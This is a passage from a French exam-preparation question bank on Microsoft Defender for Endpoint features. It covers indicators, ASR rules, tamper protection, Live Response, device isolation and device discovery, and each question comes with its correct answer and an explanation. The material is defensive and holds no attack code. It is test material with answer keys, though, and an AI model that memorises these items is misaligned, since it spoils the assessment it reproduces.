Actions possibles sur un indicateur : Autoriser, Auditer, Avertir (Warn), Bloquer l'exécution, Bloquer et corriger (fichiers). Les indicateurs de fichiers exigent l'antivirus Microsoft Defender en mode actif et la protection cloud. Il existe une limite de 15 000 indicateurs par locataire (vérifier la documentation en vigueur).

**Point à retenir pour l'examen :** Indicateurs IP/URL hors Edge = protection réseau en mode bloc + « Custom network indicators ».

**Référence officielle**

- Configurer des fonctionnalités avancées dans Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/advanced-features
- Créer des indicateurs pour les IP et URL/domaines — https://learn.microsoft.com/fr-fr/defender-endpoint/indicator-ip-domain

### Question n° 88 — Indicateur de fichier : prérequis

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un indicateur « Bloquer et corriger » sur un hachage SHA256 ne bloque pas le fichier sur certains appareils Windows. Quel prérequis est le plus probablement absent sur ces appareils ?

**A.** Le connecteur Defender for Cloud Apps est désactivé.

**B.** L'appareil n'est pas membre d'un groupe Microsoft Entra dynamique.

**C.** L'antivirus Microsoft Defender n'est pas en mode actif (par exemple mode passif à cause d'un antivirus tiers) ou la protection cloud est désactivée.

**D.** La table DeviceFileEvents n'est pas ingérée dans Sentinel.

**Bonne réponse : C**

**Correction détaillée**

La documentation des indicateurs de fichiers exige que l'**antivirus Microsoft Defender soit en mode actif** et que la **protection cloud** soit activée. Le calcul de hachage (`EnableFileHashComputation`) améliore la précision du blocage.

**Analyse des réponses incorrectes**

- **A.** Sans lien avec le blocage de fichiers par MDE.
- **B.** L'appartenance à un groupe Entra n'est pas un prérequis des indicateurs de fichiers.
- **D.** L'ingestion SIEM n'intervient pas dans le blocage local.

**Explication technique**

En cas de conflit entre indicateurs de fichiers de même type, le **hachage le plus sûr l'emporte** : SHA-256 > SHA-1 > MD5. Les certificats peuvent aussi servir d'indicateurs (autoriser ou bloquer des applications signées). Les indicateurs s'appliquent selon les groupes d'appareils ciblés.

**Point à retenir pour l'examen :** Indicateur de fichier = AV Defender actif + protection cloud ; SHA-256 prioritaire sur SHA-1 et MD5.

**Référence officielle**

- Créer des indicateurs de fichier dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/indicator-file

## Question n° 89 — Règles de réduction de la surface d'attaque (ASR)

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Les attaques par macros Office qui lancent PowerShell sont fréquentes dans votre secteur. Quelle règle ASR cible directement ce comportement ?

**A.** « Bloquer l'abus de pilotes signés vulnérables exploités ».

**B.** « Bloquer toutes les applications Office pour créer des processus enfants » (Block all Office applications from creating child processes).

**C.** « Bloquer les créations de processus provenant des commandes PSExec et WMI ».

**D.** « Bloquer le vol d'informations d'identification à partir de LSASS ».

**Bonne réponse : B**

**Correction détaillée**

La règle **« Bloquer toutes les applications Office pour créer des processus enfants »** empêche Word, Excel, PowerPoint... de lancer cmd.exe, powershell.exe, etc., ce qui coupe une technique très courante (T1204 / T1059).

**Analyse des réponses incorrectes**

- **A.** Vise les pilotes vulnérables (BYOVD).

- **C.** Utile contre le mouvement latéral, mais ne vise pas les processus enfants d'Office.
- **D.** Cette règle protège la mémoire de LSASS, pas les macros Office.

**Explication technique**

Les règles ASR se déploient d'abord en **mode Audit** pour mesurer l'impact (événements ASR dans DeviceEvents, par exemple ActionType `AsrOfficeChildProcessAudited`), puis en **Bloquer** ou **Avertir**. Des exclusions par fichier/dossier sont possibles. Le déploiement se fait via Intune, GPO, Configuration Manager ou PowerShell.

**Exemple pratique**

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType startswith "AsrOfficeChildProcess"
| summarize Evenements = count() by ActionType, DeviceName, InitiatingProcessFileName, FileName
| order by Evenements desc
```

**Point à retenir pour l'examen :** Macro Office → processus enfant = règle ASR « Bloquer les applications Office pour créer des processus enfants » (Audit puis Bloquer).

**Référence officielle**

- Référence des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-reference
- Vue d'ensemble des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-overview

## Question n° 90 — Déploiement progressif des règles ASR

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous voulez activer 8 règles ASR sur 5 000 postes sans perturber les applications métier. Quelle démarche est recommandée ?

**A.** Déployer les règles en mode Audit, analyser les événements (rapports ASR, chasse avancée) pendant une période représentative, créer les exclusions nécessaires, puis passer en mode Bloquer (ou Avertir) par vagues.

**B.** Activer le mode Avertir uniquement sur les serveurs.

**C.** Activer directement toutes les règles en mode Bloquer pour tout le parc.

**D.** Laisser les règles désactivées tant qu'aucune attaque n'est constatée.

**Bonne réponse : A**

**Correction détaillée**

Bonne pratique documentée : **Audit → analyse → exclusions → Bloquer/Avertir**, par anneaux de déploiement (pilote puis généralisation).

**Analyse des réponses incorrectes**

- **B.** Le mode Avertir s'adresse aux utilisateurs pouvant débloquer ; la démarche par audit reste nécessaire.
- **C.** Risque élevé d'interruption d'applications métier.
- **D.** Approche réactive contraire à la réduction de surface d'attaque.

**Explication technique**

Le mode **Warn** affiche une notification permettant à l'utilisateur de débloquer temporairement : utile pour les règles susceptibles de gêner. Le rapport « Règles de réduction de la surface d'attaque » du portail facilite l'analyse des détections et la gestion des exclusions.

**Point à retenir pour l'examen :** ASR : toujours Audit d'abord, puis exclusions ciblées, puis Bloquer/Avertir par vagues.

**Référence officielle**

- Vue d'ensemble des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-overview

## Question n° 91 — Groupes d'appareils et ordre de priorité

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un serveur correspond aux critères de deux groupes d'appareils : « Serveurs Paris » (rang 3) et « Serveurs critiques » (rang 1). Dans quel groupe sera-t-il placé ?

**A.** Dans les deux groupes simultanément.

**B.** Dans « Serveurs Paris », car c'est le plus récent.

**C.** Dans « Appareils non groupés ».

**D.** Dans « Serveurs critiques », car un appareil appartient au groupe de rang le plus élevé (le plus petit numéro) dont il satisfait les critères.

**Bonne réponse : D**

**Correction détaillée**

Les **groupes d'appareils** sont évalués par **rang** ; un appareil est affecté au **premier groupe correspondant** (rang 1 = priorité maximale). Le groupe détermine le **niveau d'automatisation**, l'**accès** (groupes d'utilisateurs Entra autorisés) et sert de filtre (indicateurs, notifications, rapports).

**Analyse des réponses incorrectes**

- **A.** Un appareil n'appartient qu'à un seul groupe d'appareils.
- **B.** La date de création ne détermine pas l'appartenance.
- **C.** Ce groupe par défaut ne s'applique que si aucun autre groupe ne correspond.

**Explication technique**

Critères : nom, domaine, système d'exploitation, balises. Un groupe par défaut « Appareils non groupés (par défaut) » existe. Avec le RBAC unifié, les groupes d'appareils servent d'étendue pour les autorisations.

**Point à retenir pour l'examen :** Un seul groupe par appareil : le premier correspondant par rang ; le groupe porte niveau d'automatisation et accès.

**Référence officielle**

- Créer et gérer des groupes d'appareils dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/machine-groups

## Question n° 92 — Niveau d'automatisation recommandé

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Pour un groupe d'appareils de postes de travail standards, quel niveau d'automatisation de l'investigation et de la réponse automatisées (AIR) Microsoft recommande-t-il ?

**A.** « Semi – require approval for non-temp folders remediation ».

**B.** « Full – remediate threats automatically » (automatisation complète).

**C.** « No automated response ».

D. « Semi – require approval for all folders ».

**Bonne réponse : B**

**Correction détaillée**

Microsoft recommande l'**automatisation complète** : les artefacts jugés malveillants sont corrigés automatiquement. C'est la valeur par défaut des locataires créés à partir du 16 août 2020 sans groupe d'appareils défini ; Microsoft indique que les clients en automatisation complète ont retiré 40 % d'échantillons de malware à haute confiance en plus.

**Analyse des réponses incorrectes**

- **A.** Approche de semi-automatisation, moins efficace que l'automatisation complète.
- **C.** Prive l'organisation de la remédiation automatique.
- **D.** Toutes les remédiations attendent une approbation ; les actions en attente expirent après 7 jours.

**Explication technique**

Niveaux : Full ; Semi – approbation pour tous les dossiers ; Semi – approbation pour les dossiers principaux (Windows…) ; Semi – approbation pour les dossiers non temporaires ; No automated response. Les actions en attente se gèrent dans le **Centre de notifications** et expirent après 7 jours (comportement équivalent à un rejet).

**Point à retenir pour l'examen :** AIR : automatisation complète recommandée ; actions en attente = Action center, expiration 7 jours.

**Référence officielle**

- Niveaux d'automatisation dans les fonctionnalités d'investigation et de correction automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automation-levels

## Question n° 93 — Activer Live Response pour les serveurs

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Les analystes ne peuvent pas ouvrir de session Live Response sur des serveurs Windows Server 2022, alors que cela fonctionne sur les postes. Quelle est la cause la plus probable ?

A. La protection contre les falsifications est activée.

B. Les analystes n'ont pas le rôle Microsoft Sentinel Contributor.

C. L'option « Live response for servers » n'est pas activée dans les fonctionnalités avancées.

D. Les serveurs ne sont pas joints à Microsoft Entra.

**Bonne réponse : C**

**Correction détaillée**

Live Response se contrôle par deux paramètres des **fonctionnalités avancées** : **Live response** (postes) et **Live response for servers** (serveurs), plus l'option facultative **Live response unsigned script execution**.

**Analyse des réponses incorrectes**

- **A.** La protection contre les falsifications n'empêche pas Live Response.
- **B.** Les droits Live Response relèvent du RBAC Defender (droits de réponse dynamique basique/avancée).
- **D.** Ce n'est pas un prérequis de Live Response.

**Explication technique**

Les commandes disponibles dépendent des droits : **basiques** (consulter : `processes`, `connections`, `dir`, `fileinfo`, `registry`, `scheduledtasks`, `services`…) ou **avancées** (`getfile`, `putfile`, `run`, `remediate`, `analyze`…). Limites documentées : `getfile` 3 Go, `putfile` 300 Mo (Windows), bibliothèque 250 Mo.

**Point à retenir pour l'examen :** Live Response sur serveurs = activer « Live response for servers » ; scripts non signés = option dédiée (à éviter si possible).

**Référence officielle**

- Configurer des fonctionnalités avancées dans Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/advanced-features
- Examiner les entités sur les appareils avec Live Response — https://learn.microsoft.com/fr-fr/defender-endpoint/live-response

## Question n° 94 — Protection contre les falsifications

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Lors d'une attaque, un acteur malveillant ayant obtenu des droits administrateur local tente de désactiver la protection en temps réel de l'antivirus Microsoft Defender par le registre. Quelle fonctionnalité empêche cette modification ?

**A.** La découverte des appareils.

**B.** Le filtrage du contenu web.

**C.** L'accès contrôlé aux dossiers.

**D.** La protection contre les falsifications (tamper protection).

**Bonne réponse : D**

**Correction détaillée**

La **protection contre les falsifications** empêche la modification des paramètres de sécurité clés (protection en temps réel, protection cloud, surveillance du comportement…) par des applications, scripts, registre ou GPO locales, même avec des droits d'administrateur.

**Analyse des réponses incorrectes**

- **A.** Elle inventorie les appareils non gérés du réseau.
- **B.** Il bloque des catégories de sites web.
- **C.** Il protège des dossiers contre les modifications non autorisées (rançongiciels), pas les paramètres de l'antivirus.

**Explication technique**

Elle se gère de manière centralisée (portail Defender, Intune). Les tentatives de falsification génèrent des alertes et des événements (DeviceEvents, ActionType `TamperingAttempt`). C'est un prérequis de plusieurs scénarios d'interruption d'attaque.

**Point à retenir pour l'examen :** Empêcher la désactivation de l'antivirus par un attaquant = Tamper protection.

**Référence officielle**

- Aperçu de la protection contre les falsifications — https://learn.microsoft.com/fr-fr/defender-endpoint/tamper-protection-overview

## Question n° 95 — Mode bloc EDR

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une organisation utilise un antivirus tiers comme protection principale ; l'antivirus Microsoft Defender est en mode passif. Quelle fonctionnalité permet à Defender for Endpoint de bloquer et corriger des artefacts malveillants détectés par l'EDR malgré ce mode passif ?

**A.** Le mode bloc EDR (EDR in block mode).

**B.** Le mode Audit des règles ASR.

**C.** La restriction d'exécution d'applications.

**D.** Le filtrage de contenu web.

**Bonne réponse : A**

**Correction détaillée**

Le **mode bloc EDR** permet à l'antivirus Microsoft Defender (même en mode passif) de **bloquer et corriger** les artefacts malveillants détectés par les capacités EDR post-violation.

**Analyse des réponses incorrectes**

- **B.** Le mode Audit ne bloque rien.
- **C.** Action de réponse manuelle sur un appareil, pas une fonctionnalité de remédiation post-violation automatique.
- **D.** Il concerne les catégories de sites.

**Explication technique**

Il s'active dans les fonctionnalités avancées. Les détections apparaissent avec la source « EDR ». Microsoft le recommande même lorsque Defender Antivirus est la solution principale, car il ajoute une couche de détection comportementale. C'est aussi un prérequis de l'interruption automatique d'attaque.

**Point à retenir pour l'examen :** AV tiers + Defender en passif → activer EDR in block mode pour la remédiation post-violation.

**Référence officielle**

- Protection évolutive des points de terminaison en mode bloc — https://learn.microsoft.com/fr-fr/defender-endpoint/edr-in-block-mode

## Question n° 96 — Collecte de données personnalisée

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Lors d'une investigation, vous avez besoin de toutes les connexions réseau de serveurs potentiellement compromis, au-delà de l'échantillonnage par défaut de MDE, envoyées dans votre espace Sentinel. Quelle fonctionnalité utiliser ?

**A.** Augmenter le niveau d'automatisation à « Full ».

**B.** Créer une règle de détection personnalisée toutes les heures.

**C.** La collecte de données personnalisée de Defender for Endpoint : des règles ciblant les appareils par balises dynamiques, envoyant les événements dans des tables dédiées (par exemple DeviceCustomNetworkEvents) de l'espace Sentinel.

**D.** Activer la découverte des appareils en mode standard.

**Bonne réponse : C**

**Correction détaillée**

La **collecte de données personnalisée** permet de définir des **règles** (filtres sur chemins, noms de processus, connexions réseau…) qui collectent des événements supplémentaires sur des appareils ciblés par **balises dynamiques**, et de les router vers **Microsoft Sentinel** dans des tables dédiées (DeviceCustomProcessEvents, DeviceCustomNetworkEvents, etc.).

**Analyse des réponses incorrectes**

- **A.** Sans effet sur la télémétrie collectée.
- **B.** Une détection ne collecte pas de nouveaux événements.
- **D.** Elle découvre des appareils non gérés, elle n'étend pas la télémétrie.

**Explication technique**

Les balises dynamiques doivent être configurées au préalable (gestion des règles d'actifs). Les règles sont transmises aux appareils typiquement en 20 minutes à 1 heure. La collecte s'ajoute à la télémétrie standard (sans la remplacer) et a un coût d'ingestion Sentinel : filtrez finement. Fonctionnalité citée par le référentiel (« Configurer la collecte de données personnalisée »), en préversion selon la documentation.

**Point à retenir pour l'examen :** Télémétrie MDE supplémentaire ciblée → collecte de données personnalisée (balises dynamiques → tables DeviceCustom* dans Sentinel).

**Référence officielle**

- Collecte de données personnalisées dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/custom-data-collection
- Créer et gérer des règles de collecte de données personnalisées dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/create-custom-data-collection-rules

## Question n° 97 — Accès contrôlé aux dossiers

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Quel est l'objectif principal de l'accès contrôlé aux dossiers (Controlled folder access) ?

**A.** Chiffrer les dossiers avec BitLocker.

**B.** Empêcher les applications non approuvées de modifier les fichiers des dossiers protégés, pour limiter l'impact des rançongiciels.

**C.** Bloquer les connexions réseau sortantes vers des domaines malveillants.

**D.** Empêcher l'exécution de macros Office.

**Bonne réponse : B**

**Correction détaillée**

L'**accès contrôlé aux dossiers** autorise uniquement les applications approuvées (applications connues de Microsoft ou ajoutées explicitement) à modifier les fichiers des **dossiers protégés** (Documents, Images, Bureau... et dossiers ajoutés).

**Analyse des réponses incorrectes**

- **A.** BitLocker chiffre des volumes ; ce n'est pas la fonction de CFA.
- **C.** C'est la protection réseau.
- **D.** C'est le rôle de règles ASR ou des paramètres Office.

**Explication technique**

Comme ASR, CFA dispose d'un mode **Audit**. Les blocages apparaissent dans DeviceEvents (`ControlledFolderAccessViolationBlocked`, `ControlledFolderAccessViolationAudited`). Il complète la règle ASR « Utiliser une protection avancée contre les rançongiciels ».

**Point à retenir pour l'examen :** CFA = seules les applications approuvées modifient les dossiers protégés (anti-rançongiciel).

**Référence officielle**

- Vue d'ensemble de l'accès contrôlé aux dossiers (CFA) — https://learn.microsoft.com/fr-fr/defender-endpoint/controlled-folder-access-overview

## Question n° 98 — Restreindre la corrélation aux groupes d'appareils

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une multinationale a des équipes SOC régionales qui ne doivent voir que les incidents de leurs appareils. Elle constate que des incidents regroupent des alertes d'appareils de régions différentes. Quelle fonctionnalité avancée de MDE répond au besoin ?

**A.** « Download quarantined files ».

**B.** « Automatically resolve alerts ».

**C.** « Show user details ».

**D.** « Restrict correlation to within scoped device groups » (restreindre la corrélation aux groupes d'appareils de l'étendue).

**Bonne réponse : D**

#### Correction détaillée

Cette option limite la **corrélation des alertes en incidents** aux alertes provenant d'appareils d'un même groupe d'appareils, ce qui préserve la séparation des périmètres régionaux.

#### Analyse des réponses incorrectes

- **A.** Permet de télécharger des fichiers en quarantaine.
- **B.** Résout automatiquement les alertes après une enquête sans menace, sans lien avec la portée de la corrélation.
- **C.** Affiche des détails utilisateur issus d'Entra ID.

#### Explication technique

Contrepartie : une attaque qui se propage entre régions pourrait être découpée en plusieurs incidents, ce qui complique la vision globale. À utiliser lorsque la séparation des accès l'exige, en coordonnant un SOC central.

> **Point à retenir pour l'examen :** Séparer les incidents par périmètre régional = « Restrict correlation to within scoped device groups » (au prix d'une vision moins globale).

#### Référence officielle

- Configurer des fonctionnalités avancées dans Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/advanced-features
- Créer et gérer des groupes d'appareils dans Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/machine-groups

## Question n° 99 — Découverte des appareils non gérés

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le SOC soupçonne la présence de machines non protégées sur le réseau. Quelle fonctionnalité de MDE permet d'identifier ces appareils sans installer de logiciel supplémentaire ?

**A.** La découverte des appareils (device discovery), en mode standard, qui utilise les appareils intégrés à MDE pour sonder et identifier les appareils non gérés.

**B.** Le filtrage de contenu web.

**C.** L'analyse approfondie de fichiers.

**D.** La restriction d'exécution d'applications.

**Bonne réponse : A**

#### Correction détaillée

La **découverte des appareils** utilise les appareils déjà intégrés pour collecter, écouter (mode basique) ou sonder activement (mode standard, recommandé) le réseau et lister les **appareils non intégrés** (postes, serveurs, IoT, équipements réseau), qui peuvent ensuite être intégrés.

**Analyse des réponses incorrectes**

- **B.** Concerne la navigation web.
- **C.** Bac à sable de fichiers.
- **D.** Action de réponse sur un appareil géré.

**Explication technique**

Les appareils découverts apparaissent dans l'inventaire avec un statut d'intégration. Ils peuvent faire l'objet de l'action **« Contenir l'appareil »** pour bloquer leurs communications avec les appareils gérés. Des exclusions de sondage peuvent être définies.

**Point à retenir pour l'examen :** Trouver les appareils non protégés = device discovery (mode standard) via les appareils déjà intégrés.

**Référence officielle**

- Vue d'ensemble de la découverte d'appareils Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/device-discovery

## Question n° 100 — Filtrage du contenu web

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** La direction veut empêcher l'accès aux sites de jeux d'argent et de partage de fichiers peer-to-peer depuis les postes gérés, quel que soit le navigateur. Quelle fonctionnalité de Defender for Endpoint utiliser ?

**A.** Les règles ASR.

**B.** Le filtrage du contenu web (web content filtering), qui s'appuie sur la protection réseau et SmartScreen.

**C.** L'accès contrôlé aux dossiers.

**D.** Les indicateurs de fichiers.

**Bonne réponse : B**

**Correction détaillée**

Le **filtrage du contenu web** bloque ou audite l'accès à des **catégories** de sites (contenu pour adultes, haute consommation de bande passante, responsabilité juridique, loisirs...) par stratégie appliquée à des groupes d'appareils.

**Analyse des réponses incorrectes**

- **A.** Elles bloquent des comportements de processus, pas des catégories de sites.
- **C.** Il protège des dossiers contre les modifications.
- **D.** Ils bloquent des fichiers par hachage.

**Explication technique**

Dans Edge, l'application passe par SmartScreen ; pour les autres navigateurs, par la **protection réseau** (qui doit être activée en mode bloc). Les rapports de filtrage web montrent les catégories et domaines les plus bloqués.

**Point à retenir pour l'examen :** Bloquer des catégories de sites = filtrage du contenu web (protection réseau requise hors Edge).

**Référence officielle**

- Filtrage de contenu web dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/web-content-filtering

## Question n° 101 — Rôles personnalisés et Live Response avancé

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un analyste N1 doit pouvoir consulter les processus et connexions d'un appareil via Live Response, mais ne doit jamais télécharger de fichiers ni exécuter de scripts. Comment configurer ses droits ?

**A.** Lui attribuer le rôle Administrateur général Entra.

**B.** Activer « Live response unsigned script execution ».

**C.** Désactiver Live Response dans les fonctionnalités avancées.

**D.** Lui attribuer un rôle personnalisé n'autorisant que les commandes Live Response de base (sans la permission « advanced »).

**Bonne réponse : D**

**Correction détaillée**

Les droits Live Response sont gérés par des **rôles** (RBAC MDE ou RBAC unifié) : **de base** (commandes d'investigation en lecture : `processes`, `connections`, `dir`, `registry`, `services`, `scheduledtasks`…) ou **avancés** (`getfile`, `putfile`, `run`, `remediate`…).

**Analyse des réponses incorrectes**

- **A.** Rôle bien trop privilégié.
- **B.** Cela élargirait au contraire les capacités d'exécution de scripts.
- **C.** Plus personne ne pourrait utiliser Live Response.

**Explication technique**

Principe du moindre privilège : réserver les commandes avancées aux analystes N2/N3 et aux comptes formés. Toutes les commandes Live Response sont journalisées (historique de session dans le Centre de notifications) et téléchargeables comme journal.

**Point à retenir pour l'examen :** Live Response : droits « basiques » (lecture) vs « avancés » (fichiers, scripts, remédiation) à attribuer par rôle.

**Référence officielle**

- Gérer l'accès au portail à l'aide du contrôle d'accès en fonction du rôle — https://learn.microsoft.com/fr-fr/defender-endpoint/rbac
- Examiner les entités sur les appareils avec Live Response — https://learn.microsoft.com/fr-fr/defender-endpoint/live-response

## 2.3 Defender for Endpoint : investigation et réponse sur les appareils

### Question n° 102 — Isolation sélective

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un poste est soupçonné de compromission. Vous voulez couper ses communications réseau tout en permettant à l'utilisateur de continuer à communiquer avec l'équipe sécurité via Outlook et Teams. Quelle action choisir ?

**A.** Isolation complète (full).

**B.** Lancer une analyse antivirus rapide.

**C.** Isoler l'appareil avec l'option d'isolation sélective (selective isolation).

**D.** Restreindre l'exécution d'applications.

**Bonne réponse : C**

**Correction détaillée**

L'**isolation de l'appareil** coupe ses connexions réseau sauf celles vers le service Defender for Endpoint (l'appareil reste pilotable). L'option **sélective** autorise en plus Outlook, Teams et Skype for Business pour communiquer avec l'utilisateur.

**Analyse des réponses incorrectes**

- **A.** Elle bloquerait aussi Outlook et Teams.
- **B.** Elle ne coupe aucune communication.
- **D.** Les communications réseau restent ouvertes.

**Explication technique**

L'isolation se lève par l'action « Libérer de l'isolation ». Elle est disponible sur Windows, macOS et Linux selon les versions prises en charge. Elle peut aussi être déclenchée automatiquement par une règle de détection personnalisée ou par l'interruption automatique d'attaque. L'appareil isolé peut toujours faire l'objet d'un package d'investigation ou de Live Response.

**Point à retenir pour l'examen :** Isolation = coupure réseau sauf le service MDE ; « sélective » = Outlook/Teams autorisés.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 103 — Package d'investigation

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pour une analyse forensique, vous devez récupérer rapidement, sans connaissance préalable de l'appareil, les tâches planifiées, les services, les connexions réseau, les fichiers Prefetch et le journal des événements de sécurité d'un poste Windows. Quelle action est la plus efficace ?

**A.** Collecter le package d'investigation (Collect investigation package).

**B.** Ouvrir une session Live Response et taper `getfile` sur chaque artefact.

**C.** Ajouter un indicateur de fichier.

**D.** Lancer une analyse antivirus complète.

**Bonne réponse : A**

**Correction détaillée**

Le **package d'investigation** est une archive ZIP rassemblant notamment : autoruns, programmes installés, connexions réseau, Prefetch, liste des processus, tâches planifiées, journal des événements de sécurité, services, sessions SMB, informations système, dossiers temporaires, utilisateurs et groupes, et un rapport de synthèse.

**Analyse des réponses incorrectes**

- **B.** Possible mais beaucoup plus long ; le package collecte tout en une action.
- **C.** Sans rapport avec la collecte d'artefacts.
- **D.** Elle recherche des malwares mais ne collecte pas d'artefacts forensiques.

**Explication technique**

Le package se télécharge depuis le Centre de notifications ou la page de l'appareil. Il est possible de le collecter sur un appareil isolé. Pour des artefacts spécifiques (fichier précis, image mémoire), on utilise Live Response (`getfile`, scripts de la bibliothèque).

**Point à retenir pour l'examen :** Artefacts forensiques standard en une action = Collect investigation package.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 104 — Restreindre l'exécution d'applications

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pendant l'analyse d'un poste compromis, vous voulez empêcher le lancement de tout outil d'attaque non signé par Microsoft, tout en gardant l'appareil connecté au réseau pour poursuivre la collecte. Quelle action utiliser ?

**A.** Exécuter « Offboard device ».

**B.** Restreindre l'exécution d'applications (Restrict app execution).

**C.** Contenir l'appareil.

**D.** Isoler l'appareil.

**Bonne réponse : B**

**Correction détaillée**

**Restreindre l'exécution d'applications** applique une stratégie d'intégrité du code qui n'autorise que les fichiers **signés par un certificat Microsoft**. Les outils d'attaque tiers non signés ne peuvent plus être lancés.

**Analyse des réponses incorrectes**

- **A.** L'appareil ne serait plus surveillé : contre-productif.
- **C.** Cette action s'applique aux appareils non intégrés pour les isoler des appareils gérés.
- **D.** L'appareil serait coupé du réseau, ce qui n'est pas souhaité ici.

**Explication technique**

L'utilisateur est notifié de la restriction. L'action se lève par « Supprimer les restrictions d'application ». Combinée à l'isolation si nécessaire, elle limite la progression de l'attaquant pendant l'investigation.

**Point à retenir pour l'examen :** Seuls les binaires signés Microsoft peuvent s'exécuter = Restrict app execution (l'appareil reste en réseau).

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 105 — Contenir un appareil non géré

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** La découverte des appareils signale un ancien serveur Windows non intégré à MDE qui tente des connexions SMB vers de nombreux postes. Vous ne pouvez pas y installer d'agent rapidement. Quelle action limite immédiatement sa capacité de mouvement latéral ?

**A.** Lancer une analyse antivirus.

**B.** Isoler l'appareil.

**C.** Contenir l'appareil (Contain device) : les appareils intégrés à MDE bloquent les communications entrantes et sortantes avec cet appareil.

**D.** Collecter un package d'investigation.

**Bonne réponse : C**

**Correction détaillée**

**Contenir l'appareil** s'applique aux **appareils non intégrés** : les appareils gérés par MDE (Windows pris en charge) bloquent les communications avec l'appareil contenu, ce qui freine le mouvement latéral.

**Analyse des réponses incorrectes**

- **A.** Impossible sur un appareil sans agent Defender.
- **B.** L'isolation exige que l'appareil soit intégré à MDE.
- **D.** Impossible sur un appareil non intégré.

**Explication technique**

De même, **Contenir l'utilisateur** (en lien avec l'interruption automatique d'attaque et Defender for Identity) bloque l'usage d'un compte compromis depuis les appareils gérés. Ces actions sont réversibles et tracées dans le Centre de notifications.

**Point à retenir pour l'examen :** Appareil non intégré dangereux → Contain device (les appareils gérés le mettent en quarantaine réseau).

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- Vue d'ensemble de la découverte d'appareils Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/device-discovery

## Question n° 106 — Chronologie d'un appareil

